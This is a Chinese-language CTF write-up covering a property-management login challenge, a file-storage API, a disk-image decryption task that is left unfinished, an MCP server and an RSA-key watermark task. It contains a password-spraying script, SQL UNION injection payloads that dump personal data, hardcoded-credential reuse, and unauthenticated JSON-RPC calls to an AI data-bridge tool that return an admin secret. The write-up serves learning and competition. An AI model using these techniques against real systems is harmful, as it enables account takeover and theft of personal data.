放上来的都是我手写的部分,CTF题没啥意思就不放了
物业信息泄露
题目是一个登录界面,但是有很多接口,扒一下。
公告栏notices/2/可以改成notice/1/ ,即可发现隐藏通知:
可以推断有粗心的人忘改密码了,因此密码喷洒一下(用一个密码试多个用户名)
import re
import requests
BASE = "http://psdxs.idss-cn.com:22817/"
s = requests.Session()
r = s.get(BASE)
m = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', r.text) # 这个在源码里可以看到
csef = m.group(1)
data_list = ["GC","KF","CW","XZ","AB"]
for i in range(1, 100):
for j in range(5):
data = {
"csrfmiddlewaretoken": csef,
"username": f"{data_list[j]}-{i:03d}",
"password": "Jc@2025",
}
resp = s.post(
f"{BASE}do-login/",
data=data,
headers={"Referer": f"{BASE}/login/"},
allow_redirects=True,
)
if "错误" not in resp.text:
print(f"Login successful for {data['username']}")这里试出来是KF-012
登录之后可以通过缴费查询
这里可以通过业主查询对照10月12日缴费的业主信息,和题目所给信息对照,最终收敛到李建国,手机号为139****1745
之后观察到缴费查询有SQL注入特征,通过SQL注入可以在下载获取结果
正常联合注入即可,payload:
UNION DISTINCT SELECT 1, database(), 3, 4, 5
//获取数据库名
UNION DISTINCT SELECT 1, table_name, 3, 4, 5 FROM information_schema.tables WHERE table_schema=database()
//获取所有表名,暴露了 owners 和 payments
UNION DISTINCT SELECT 1, column_name, 3, 4, 5 FROM information_schema.columns WHERE table_name='owners'
//发现字段 owner_id, name, notify_phone
UNION DISTINCT SELECT p.payment_id, concat(o.name,'|',p.notify_phone), 3, 4, 5 FROM payments p JOIN owners o ON p.owner_id=o.owner_id WHERE o.name='李建国' AND p.payment_date='2025-10-12'
//获取数据最终手机号:13962150847
泄露的文件
先看源码,发现/static/login.js里面硬编码了测试账号和密码
const DEMO_ACCOUNT = {
username: "partner_demo",
password: "Demo@Xlan2026"
};用这个登录合作者入口,F12看源码workbench.js
/* 星澜档案中转柜 workbench */
let STORAGE_KEY = "";
async function loadTasks() {
try {
const res = await fetch("/api/v2/tasks");
const data = await res.json();
STORAGE_KEY = data.storageKey || "";
const tbody = document.getElementById("task-list");
if (tbody && data.tasks) {
tbody.innerHTML = "";
for (const t of data.tasks) {
const tr = document.createElement("tr");
tr.innerHTML = "<td>" + t.id + "</td><td>" + t.title + "</td><td>" + t.date + "</td><td>" + t.status + "</td>";
tbody.appendChild(tr);
}
}
loadObjects();
} catch (_e) {}
}
async function loadObjects() {
try {
if (!STORAGE_KEY) return;
const res = await fetch("/api/v2/objects?key=" + STORAGE_KEY);
const data = await res.json();
const tbody = document.getElementById("file-list");
if (!tbody || !data.objects) return;
tbody.innerHTML = "";
for (const o of data.objects) {
const tr = document.createElement("tr");
tr.innerHTML = "<td>" + o.title + "</td><td>" + o.created_on + "</td><td>可提取</td>";
tbody.appendChild(tr);
}
} catch (_e) {}
}
document.addEventListener("DOMContentLoaded", () => {
loadTasks();
});
有两个接口,第一个是/api/v2/tasks,返回task清单和storage_key;
因此知道”storageKey”:”xlan-store-key-0314-a7f2″
第二个接口/api/v2/objects,我们传参key=xlan-store-key-0314-a7f2,得到一串对象列表
根据题目,搜索2026-3-14,发现在开头有这个:
{"objects":[{"channel":"incident-desk","created_on":"2026-03-14","key":"archives/2026/03/t-8f3a.bin","size":311013,"title":"台席导出-0314"},{"channel":"intake-front","created_on":"2026-03-14","key":"archives/2026/03/t-4b1c.bin","size":113302,"title":"前台快照-0314"},{"channel":"archive","created_on":"2026-03-14","key":"archives/2026/03/t-6d2e.bin","size":7130,"title":"归档-0314"}按照REST惯例,我们猜测storage_key用于鉴权,前面加上文件的key
如GET /api/v2/objects/archives/2026/03/T-8f3a.bin即可下载
最后在incident-desk里面解压xlsx,里面发现了一张未脱敏的图片
对照人名,日期即可得到13962150847
失败的销毁(未完成)
先strings sda.img,有
MACHINE_ID=$(cat /etc/machine-id)
VOL_UUID=$(blkid -s UUID -o value /dev/sda3)
CONTAINER_ID=$(docker inspect -f '{{.Id}}' yh-edge-agent)
PW=$(printf '%s|%s|%s|%s' "$MACHINE_ID" "$VOL_UUID" "$HOSTNAME" "$CONTAINER_ID")需要找到MACHINE_ID,VOL_UUID,HOSTNAME,CONTAINER_ID
先挂载磁盘(注意这里需要在尾部补全00字节)
在第三分区发现uuid
f3c8a1e2-9b4d-4e6a-8c0f-1d2e3f4a5b6c
container.json中是CONTAINER_ID
Id: 7a2f9c1e8b4d6a0f3e5c7b9d1a2f4e6c8b0d2a4f6e8c0b2d4a6f8e0c2b4d6a5f
export.json里有:
“host_name”: “yh-edge-gw07”
system.journal里有:
MESSAGE=Machine ID is a7c3e91b4f6d2048e5a1c0b7928346df
PW = a7c3e91b4f6d2048e5a1c0b7928346df|f3c8a1e2-9b4d-4e6a-8c0f-1d2e3f4a5b6c|yh-edge-gw07|7a2f9c1e8b4d6a0f3e5c7b9d1a2f4e6c8b0d2a4f6e8c0b2d4a6f8e0c2b4d6a5f
img从1000偏移处开始有数据,根据镜像中的提示解密
根据磁盘中的提示
# yh-unlock: PBKDF2-HMAC-SHA256 iter=250000 dkLen=32 + AES-GCM keywrap (outer volume)
# yh-unlock-inner: PBKDF2-HMAC-SHA256 iter=150000 dkLen=32 + AES-GCM (inner blob)外层和内层分别有加密,对应解密
然后发现这个AES-GCM解不出来,很奇怪
敏感数据泄露
由于题目是mcp,先探测一下sse端口,发现有回显
直接向这个端点POST一个initial请求
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "ctf-probe", "version": "1.0"}
}
}返回如下内容:
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"protocolVersion": "2024-11-05",
"capabilities": {"experimental": {}, "tools": {"listChanged": false}},
"serverInfo": {"name": "ai-data-bridge", "version": "1.23.4.dev1+0dedbd9"}
}
}之后照样给tools/list发POST,查询到五个工具:health_check,echo_text,current_time,list_announcements,
query_database
其中query_database可以查询内部数据库,这个没有身份校验,直接查询即可
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "query_database",
"arguments": {
"query": "SELECT secret_token FROM admins"
}
}
}服务返回答案
内部只读数据库查询结果:
secret_token
admin_secret_f0e5c1a82b7643b099bd3be7f4c8219eflag{admin_secret_f0e5c1a82b7643b099bd3be7f4c8219e}
数据水印分析
第一关没做出来。。
第二关,qinggan_adm 表 admin 行的 key 字段存着一个 PEM 私钥,但中间大量字节都是空数据
RSA PRIVATE KEY-----\r\nMIIEowIBAAKCAQEAqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2QIDAQABAoIBAB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMCgYEAsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPkiQ2BDWU6Sr2/JeYH17VcCgYEA6wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE8CgYBRRUbqppvFprqXclW1cDW/FYkCG5imWvbmQAK+SH2ti1Ptka/qvVgAXDpK4oOkWTkrKHxCS42lagkuremZlDTGj7d1GfqB2tF9OliIVfjwRwzWIDAmw4fUQ9FnCFe4MX+L39jZ7Um/G4/oh9fc/kAAE8R38mG1bm7xFje7S5jahQKBgDiMhCS90M+p7p8AI/zI2CKy7ga9s7HJUtsUNbHu36GM4pGKD91hKEgs5wHLJ+/pFrG5kJMKCO6pRL1tgviElzrce5+8bEkzHGshmQhnJguLDX90gUtPw/FDFss+B8W5JekVvwE0gYeo31rcLYrTqBqumJ1RiBu0HnrLY96DyXoNAoGBAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgnnvm6RRj8bzL59XAC5iIoReI+\r\n-----END RSA PRIVATE KEY-----取中间字节,base64解码之后得到version, n, e, d, p, q, dp, dq, qinv 9个数,由此枚举 k = 1..65536,能整除时 p = (e·dp−1)/k + 1,爆破 p 命中k=28614, q 命中k=15754
import re, base64, hashlib, math
raw = open(r"C:\Users\Admin\Downloads\management_a\management_a.sql", encoding="utf-8").read()
pem_body = "MIIEowIBAAKCAQEAqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2QIDAQABAoIBAB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMCgYEAsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPkiQ2BDWU6Sr2/JeYH17VcCgYEA6wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE8CgYBRRUbqppvFprqXclW1cDW/FYkCG5imWvbmQAK+SH2ti1Ptka/qvVgAXDpK4oOkWTkrKHxCS42lagkuremZlDTGj7d1GfqB2tF9OliIVfjwRwzWIDAmw4fUQ9FnCFe4MX+L39jZ7Um/G4/oh9fc/kAAE8R38mG1bm7xFje7S5jahQKBgDiMhCS90M+p7p8AI/zI2CKy7ga9s7HJUtsUNbHu36GM4pGKD91hKEgs5wHLJ+/pFrG5kJMKCO6pRL1tgviElzrce5+8bEkzHGshmQhnJguLDX90gUtPw/FDFss+B8W5JekVvwE0gYeo31rcLYrTqBqumJ1RiBu0HnrLY96DyXoNAoGBAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgnnvm6RRj8bzL59XAC5iIoReI+"
der = base64.b64decode(pem_body)
def read_len(b, i):
l = b[i]; i += 1
if l & 0x80:
n = l & 0x7f
l = int.from_bytes(b[i:i+n], "big"); i += n
return l, i
assert der[0] == 0x30
L, i = read_len(der, 1)
fields = []
while i < 2 + L:
assert der[i] == 0x02 # INTEGER 标签
l, j = read_len(der, i + 1)
fields.append(der[j:j+l])
i = j + l
version, n_b, e_b, d_b, p_b, q_b, dp_b, dq_b, qinv_b = fields
e = int.from_bytes(e_b, "big")
def recover_prime(dx_b, check):
edx = e * int.from_bytes(dx_b, "big") - 1
for k in range(1, e + 1):
if edx % k:
continue
p = edx // k + 1
if p.bit_length() == 1024 and check(p.to_bytes(129, "big")):
return p, k
return None, None
p, kp = recover_prime(dp_b, lambda pb: pb[-16:] == p_b[-16:])
q, kq = recover_prime(dq_b, lambda qb: qb[-1] == q_b[-1] and qb[1] == q_b[1])
print("p 命中 k =", kp, "; q 命中 k =", kq)
def is_prime(x):
return pow(2, x - 1, x) == 1 and pow(3, x - 1, x) == 1 and pow(5, x - 1, x) == 1
n = p * q
nb = n.to_bytes(257, "big")
print("p prime:", is_prime(p), " q prime:", is_prime(q))
print("n 首字节吻合:", nb[1:2] == n_b[1:2], " n 尾字节吻合:", nb[-1:] == n_b[-1:])
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
print("d bit_length:", d.bit_length())
print("md5(d 十进制) =", hashlib.md5(str(d).encode()).hexdigest())
最终得到6e7436f7b7cf17661ec5d043ef24f12b
第三关,qinggan_order_logs 表共 112 条,每行有两个关键列:verification(32 位 hex 的摘要值)和 signature(base64,256 字节 =RSA-2048 签名)
枚举SQL数据,用第二问恢复的n和e验证数字签名即可
import re, base64, json, hashlib
raw = open(r"management_a.sql", encoding="utf-8").read()
rec = json.load(open(r"D:\workspace\rsa_recovered.json"))
n, e = int(rec["n"]), rec["e"]
rows = re.findall(
r"INSERT INTO `qinggan_order_logs` VALUES \((\d+), [^,]+, [^,]+, [^,]+, (?:'[^']*'), (?:'(?:[^'\\]|\\.)*'), '([0-9a-f]{32})', '([A-Za-z0-9+/=]+)'\)",
raw)
LHASH = hashlib.sha1(b"").digest()
def mgf1(seed, length):
out = b""
for i in range((length + 19) // 20):
out += hashlib.sha1(seed + i.to_bytes(4, "big")).digest()
return out[:length]
def oaep_decode(em):
if em[0] != 0:
return None
masked_seed, masked_db = em[1:21], em[21:]
seed = bytes(a ^ b for a, b in zip(masked_seed, mgf1(masked_db, 20)))
db = bytes(a ^ b for a, b in zip(masked_db, mgf1(seed, 235)))
if db[:20] != LHASH:
return None
i = 20
while db[i] == 0:
i += 1
if db[i] != 1:
return None
return db[i + 1:]
bad = []
for rid, ver, sig in rows:
s = int.from_bytes(base64.b64decode(sig), "big")
em = pow(s, e, n).to_bytes(256, "big")
m = oaep_decode(em)
if m != ver.encode():
bad.append(int(rid))
print("未通过验签的 id:", bad)
print("-".join(map(str, sorted(bad))))答案为212-222-227-255-294-301-311